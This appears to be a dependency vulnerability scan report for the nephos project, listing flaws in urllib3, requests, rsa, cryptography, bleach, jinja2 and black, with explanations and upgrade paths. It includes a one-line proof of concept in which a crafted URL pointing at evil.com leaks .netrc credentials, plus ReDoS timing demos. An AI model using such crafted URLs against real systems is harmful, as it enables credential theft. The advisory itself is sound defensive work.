  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to sphinx@5.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to twine@5.0.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests-oauthlib@1.2.0 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests-toolbelt@0.9.1 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Denial of Service (DoS). The _encode_invalid_chars function in util/url.py in the urllib3 allows a denial of service (CPU consumption) because of an inefficient algorithm. The percent_encodings array contains all matches of percent encodings. It is not deduplicated. For a URL of length N, the size of percent_encodings may be up to O(N). The next step (normalize existing percent-encoded bytes) also takes up to O(N) for each step, so the total time is O(N^2). If percent_encodings were deduplicated, the time to compute _encode_invalid_chars would be O(kN), where k is at most 484 ((10+6*2)^2).

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade urllib3 to version 1.25.8 or higher.

References

medium severity

Information Exposure Through Sent Data

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.25.6, requests@2.22.0 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 urllib3@1.25.6
    Remediation: Upgrade to urllib3@1.26.17.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 urllib3@1.25.6
    Remediation: Upgrade to kubernetes@28.1.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-oauthlib@1.2.0 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to requests-oauthlib@1.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-toolbelt@0.9.1 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to sphinx@5.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to twine@5.0.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests-oauthlib@1.2.0 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests-toolbelt@0.9.1 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Information Exposure Through Sent Data when the Cookie HTTP header is used. An attacker can leak information via HTTP redirects to a different origin by exploiting the fact that the Cookie HTTP header isn't stripped on cross-origin redirects.

Note:

This is only exploitable if the user is using the Cookie header on requests, not disabling HTTP redirects, and either not using HTTPS or for the origin server to redirect to a malicious origin.

##Workaround:

This vulnerability can be mitigated by disabling HTTP redirects using redirects=False when sending requests and by not using the Cookie header.

Remediation

Upgrade urllib3 to version 1.26.17, 2.0.6 or higher.

References

medium severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: requests
  • Introduced through: requests@2.22.0, adal@1.2.2 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests@2.22.0
    Remediation: Upgrade to requests@2.32.4.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 requests@2.22.0
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-oauthlib@1.2.0 requests@2.22.0
    Remediation: Upgrade to requests-oauthlib@1.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests@2.22.0
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-toolbelt@0.9.1 requests@2.22.0
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 requests@2.22.0
    Remediation: Upgrade to sphinx@5.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests@2.22.0
    Remediation: Upgrade to twine@5.0.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests-oauthlib@1.2.0 requests@2.22.0
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests-toolbelt@0.9.1 requests@2.22.0
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 requests@2.22.0
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc credentials to a server controlled by the attacker.

Note:

This is only exploitable if the .netrc file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com in http://example.com:@evil.com/).

PoC

requests.get('http://example.com:@evil.com/&apos;)

Remediation

Upgrade requests to version 2.32.4 or higher.

References

medium severity

Always-Incorrect Control Flow Implementation

  • Vulnerable module: requests
  • Introduced through: requests@2.22.0, adal@1.2.2 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests@2.22.0
    Remediation: Upgrade to requests@2.32.2.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 requests@2.22.0
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-oauthlib@1.2.0 requests@2.22.0
    Remediation: Upgrade to requests-oauthlib@1.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests@2.22.0
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-toolbelt@0.9.1 requests@2.22.0
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 requests@2.22.0
    Remediation: Upgrade to sphinx@5.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests@2.22.0
    Remediation: Upgrade to twine@5.0.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests-oauthlib@1.2.0 requests@2.22.0
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests-toolbelt@0.9.1 requests@2.22.0
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 requests@2.22.0
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation when making requests through a Requests Session. An attacker can bypass certificate verification by making the first request with verify=False, causing all subsequent requests to ignore certificate verification regardless of changes to the verify value.

Notes:

  1. For requests <2.32.0, avoid setting verify=False for the first request to a host while using a Requests Session.

  2. For requests <2.32.0, call close() on Session objects to clear existing connections if verify=False is used.

  3. This vulnerability was initially fixed in version 2.32.0, which was yanked. Therefore, the next available fixed version is 2.32.2.

Remediation

Upgrade requests to version 2.32.2 or higher.

References

medium severity

Access Restriction Bypass

  • Vulnerable module: rsa
  • Introduced through: rsa@4.0, google-auth@1.7.1 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 rsa@4.0
    Remediation: Upgrade to rsa@4.1.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 google-auth@1.7.1 rsa@4.0
    Remediation: Upgrade to google-auth@2.24.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 google-auth@1.7.1 rsa@4.0
    Remediation: Upgrade to kubernetes@28.1.0.

Overview

rsa is a pure-Python RSA implementation.

Affected versions of this package are vulnerable to Access Restriction Bypass. It does not detect ciphertext modification during decryption (prepended "0" bytes) in PKCS1_v1_5.

Remediation

Upgrade rsa to version 4.1 or higher.

References

medium severity

NULL Pointer Dereference

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8 and adal@1.2.2

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 cryptography@2.8
    Remediation: Upgrade to cryptography@42.0.2.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 cryptography@2.8

Overview

Affected versions of this package are vulnerable to NULL Pointer Dereference when processing a maliciously formatted PKCS12 file. The vulnerability exists due to improper handling of optional ContentInfo fields, which can be set to null. An attacker can cause a denial of service by sending crafted input that leads to applications loading files in PKCS12 format from untrusted sources to terminate abruptly.

Remediation

Upgrade cryptography to version 42.0.2 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: bleach
  • Introduced through: bleach@3.1.4, readme-renderer@24.0 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 bleach@3.1.4
    Remediation: Upgrade to bleach@3.3.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 readme-renderer@24.0 bleach@3.1.4
    Remediation: Upgrade to readme-renderer@41.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 readme-renderer@24.0 bleach@3.1.4
    Remediation: Upgrade to twine@5.0.0.

Overview

bleach is a whitlist-based HTML sanitizing library that escapes or strips markup and attributes.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). A mutation XSS affects users calling bleach.clean when svg or math, p or br , and style are in the allowed tags, and the keyword argument is set strip_comments=False

Note: none of the above tags are in the default allowed tags and strip_comments is set to True by default.

Workarounds

modify bleach.clean calls to either not allow the style tag, not allow svg or math tags, not allow p or br tags, and/or set strip_comments=True

A strong Content-Security-Policy without unsafe-inline and unsafe-eval script-srcs) will also help mitigate the risk.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade bleach to version 3.3.0 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: jinja2
  • Introduced through: jinja2@2.10.3, sphinx@2.2.1 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 jinja2@2.10.3
    Remediation: Upgrade to jinja2@3.1.3.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 jinja2@2.10.3
    Remediation: Upgrade to sphinx@2.2.1.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 jinja2@2.10.3
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Jinja2 is a template engine written in pure Python. It provides a Django inspired non-XML syntax but supports inline expressions and an optional sandboxed environment.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the xmlattr filter, when using keys containing spaces in an application accepts keys as user input. An attacker can inject arbitrary HTML attributes into the rendered HTML template, bypassing the auto-escaping mechanism, which may lead to the execution of untrusted scripts in the context of the user's browser session.

Note Accepting keys as user input is not common or a particularly intended use case of the xmlattr filter, and an application doing so should already be verifying what keys are provided regardless of this fix.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade Jinja2 to version 3.1.3 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: jinja2
  • Introduced through: jinja2@2.10.3, sphinx@2.2.1 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 jinja2@2.10.3
    Remediation: Upgrade to jinja2@3.1.4.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 jinja2@2.10.3
    Remediation: Upgrade to sphinx@2.2.1.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 jinja2@2.10.3
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Jinja2 is a template engine written in pure Python. It provides a Django inspired non-XML syntax but supports inline expressions and an optional sandboxed environment.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) through the xmlattr filter. An attacker can manipulate the output of web pages by injecting additional attributes into elements, potentially leading to unauthorized actions or information disclosure.

Note: This vulnerability derives from an improper fix of CVE-2024-22195, which only addressed spaces but not other characters.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade Jinja2 to version 3.1.4 or higher.

References

medium severity

Improper Neutralization

  • Vulnerable module: jinja2
  • Introduced through: jinja2@2.10.3, sphinx@2.2.1 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 jinja2@2.10.3
    Remediation: Upgrade to jinja2@3.1.5.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 jinja2@2.10.3
    Remediation: Upgrade to sphinx@2.2.1.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 jinja2@2.10.3
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Affected versions of this package are vulnerable to Improper Neutralization when importing a macro in a template whose filename is also a template. This will result in a SyntaxError: f-string: invalid syntax error message because the filename is not properly escaped, indicating that it is being treated as a format string.

Note: This is only exploitable when the attacker controls both the content and filename of a template and the application executes untrusted templates.

Remediation

Upgrade jinja2 to version 3.1.5 or higher.

References

medium severity

Template Injection

  • Vulnerable module: jinja2
  • Introduced through: jinja2@2.10.3, sphinx@2.2.1 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 jinja2@2.10.3
    Remediation: Upgrade to jinja2@3.1.5.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 jinja2@2.10.3
    Remediation: Upgrade to sphinx@2.2.1.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 jinja2@2.10.3
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Affected versions of this package are vulnerable to Template Injection when an attacker controls the content of a template. This is due to an oversight in the sandboxed environment's method detection when using a stored reference to a malicious string's format method, which can then be executed through a filter.

Note: This is only exploitable through custom filters in an application.

Remediation

Upgrade jinja2 to version 3.1.5 or higher.

References

medium severity

Template Injection

  • Vulnerable module: jinja2
  • Introduced through: jinja2@2.10.3, sphinx@2.2.1 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 jinja2@2.10.3
    Remediation: Upgrade to jinja2@3.1.6.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 jinja2@2.10.3
    Remediation: Upgrade to sphinx@2.2.1.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 jinja2@2.10.3
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Jinja2 is a template engine written in pure Python. It provides a Django inspired non-XML syntax but supports inline expressions and an optional sandboxed environment.

Affected versions of this package are vulnerable to Template Injection through the |attr filter. An attacker that controls the content of a template can escape the sandbox and execute arbitrary Python code by using the |attr filter to get a reference to a string's plain format method, bypassing the environment's attribute lookup.

Note:

This is only exploitable if the application executes untrusted templates.

Remediation

Upgrade Jinja2 to version 3.1.6 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: black
  • Introduced through: black@19.3b0

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 black@19.3b0
    Remediation: Upgrade to black@24.3.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the lines_with_leading_tabs_expanded function in the strings.py file. An attacker could exploit this vulnerability by crafting a malicious input that causes a denial of service.

